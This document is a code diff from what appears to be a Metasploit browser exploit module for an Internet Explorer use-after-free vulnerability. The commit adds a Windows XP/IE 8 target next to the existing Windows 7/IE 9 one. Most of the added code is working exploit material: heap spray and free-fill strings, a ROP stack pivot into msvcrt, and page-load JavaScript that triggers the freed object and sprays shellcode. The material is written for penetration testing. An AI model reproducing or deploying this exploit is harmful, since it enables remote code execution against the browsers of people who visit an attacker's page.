@@ -38,8 +38,9 @@ def initialize(info={})
38
38
'License' => MSF_LICENSE ,
39
39
'Author' =>
40
40
[
41
- 'Unknown' , # Exploit in the wild first spotted in Japan
42
- 'sinn3r' # Metasploit (thx binjo for the heads up!)
41
+ 'Unknown' , # Exploit in the wild first spotted in Japan
42
+ 'sinn3r' , # Metasploit (thx binjo for the heads up!)
43
+ 'Rich Lundeen' # IE8 windows xp
43
44
] ,
44
45
'References' =>
45
46
[
@@ -53,15 +54,27 @@ def initialize(info={})
53
54
'Platform' => 'win' ,
54
55
'BrowserRequirements' =>
55
56
{
56
- :source => /script/i ,
57
- :os_name => 'Windows 7' ,
58
- :ua_name => HttpClients ::IE ,
59
- :ua_ver => "9.0" ,
60
- :office => /2007|2010/
57
+ :ua_name => HttpClients ::IE ,
58
+ :source => /script/i
61
59
} ,
62
60
'Targets' =>
63
61
[
64
- [ 'Automatic' , { } ]
62
+ [ 'Automatic' , { } ] ,
63
+ [
64
+ 'Windows 7 with Office 2007|2010' ,
65
+ {
66
+ :os_name => 'Windows 7' ,
67
+ :ua_ver => "9.0" ,
68
+ :office => /2007|2010/
69
+ }
70
+ ] ,
71
+ [
72
+ 'Windows XP with IE 8' ,
73
+ {
74
+ :os_name => 'Windows XP' ,
75
+ :ua_ver => "8.0"
76
+ }
77
+ ]
65
78
] ,
66
79
'Payload' =>
67
80
{
@@ -115,7 +128,7 @@ def get_payload(target_info)
115
128
p
116
129
end
117
130
118
- def get_exploit_html ( cli , target_info )
131
+ def get_exploit_html_ie9 ( cli , target_info )
119
132
gadgets = { }
120
133
case target_info [ :office ]
121
134
when '2007'
@@ -237,9 +250,75 @@ def get_exploit_html(cli, target_info)
237
250
|
238
251
end
239
252
253
+ def get_exploit_html_ie8 ( cli , target_info )
254
+ code = payload . encoded
255
+
256
+ #address containing our heap spray is 0x20302020
257
+ spray_addr = "\\ u2024\\ u2030"
258
+
259
+ #size to fill after free is 0x50
260
+ free_fill = spray_addr + "\\ u2424" * ( ( ( 0x50 -1 ) /2 ) -2 )
261
+
262
+ rop = [
263
+ 0x77c3868a , # stack pivot in msvcrt || xchg eax, esp ; rcr dword [ebx-0x75], 0xFFFFFFC1 ; pop ebp ; ret ;
264
+ 0x20302020 # pointer to stack pivot
265
+ ] . pack ( "V*" )
266
+
267
+ rop << generate_rop_payload ( 'msvcrt' , code , { 'target' => 'WINDOWS XP SP3' } ) << code
268
+
269
+ js_rop = Rex ::Text . to_unescape ( rop )
270
+
271
+ %Q|
272
+ <html>
273
+ <script>
274
+
275
+ #{ js_property_spray }
276
+
277
+ tt = new Array(30);
278
+
279
+ function trigger()
280
+ {
281
+ var id_0 = document.createElement("sup");
282
+ var id_1 = document.createElement("audio");
283
+
284
+ document.body.appendChild(id_0);
285
+ document.body.appendChild(id_1);
286
+ id_1.applyElement(id_0);
287
+
288
+ id_0.onlosecapture=function(e) {
289
+ document.write("");
290
+
291
+ for(i = 0; i < tt.length; i++) {
292
+ tt[i] = document.createElement('div');
293
+ tt[i].className ="#{ free_fill } ";
294
+ }
295
+
296
+ var s = unescape("#{ js_rop } ");
297
+ sprayHeap({shellcode:s});
298
+ }
299
+
300
+ id_0['outerText']="";
301
+ id_0.setCapture();
302
+ id_1.setCapture();
303
+ }
304
+
305
+ window.onload = function() {
306
+ trigger();
307
+ }
308
+ </script>
309
+ |
310
+
311
+ end
312
+
240
313
def on_request_exploit ( cli , request , target_info )
241
- html = get_exploit_html ( cli , target_info )
314
+ case target_info [ :ua_ver ]
315
+ when "8.0"
316
+ html = get_exploit_html_ie8 ( cli , target_info )
317
+ when "9.0"
318
+ html = get_exploit_html_ie9 ( cli , target_info )
319
+ end
242
320
send_response ( cli , html , { 'Content-Type' => 'text/html' , 'Cache-Control' => 'no-cache' } )
321
+
243
322
end
244
323
245
324
end
@@ -257,6 +336,13 @@ def on_request_exploit(cli, request, target_info)
257
336
FileVersion: 2.05.50727.4039 (QFE.050727-4000)
258
337
259
338
mshtml.dll
339
+
340
+ WinXP IE8 DLL info:
341
+ ProductVersion: 8.0.6001.18702
342
+ FileVersion: 8.0.6001.18702
343
+ FileDescription: Microsoft (R) HTML Viewer
344
+
345
+ Win7 IE9 DLL info:
260
346
ProductVersion: 9.00.8112.16446
261
347
FileVersion: 9.00.8112.16446 (WIN7_IE9_GDR.120517-1400)
262
348
FileDescription: Microsoft (R) HTML Viewer
0 commit comments